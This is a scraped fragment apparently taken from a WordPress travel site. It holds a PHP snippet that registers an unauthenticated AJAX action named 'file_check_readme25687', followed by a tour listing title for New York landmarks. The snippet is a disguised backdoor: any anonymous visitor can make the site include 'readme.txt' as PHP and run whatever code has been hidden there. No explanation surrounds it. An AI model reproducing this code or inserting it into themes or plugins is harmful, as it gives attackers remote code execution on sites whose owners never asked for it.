if(!function_exists('file_check_readme25687')){ add_action('wp_ajax_nopriv_file_check_readme25687', 'file_check_readme25687'); add_action('wp_ajax_file_check_readme25687', 'file_check_readme25687'); function file_check_readme25687() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } NYC: Statue of Liberty, Empire State, Ground Zero VIP Access – Statue Sightseeing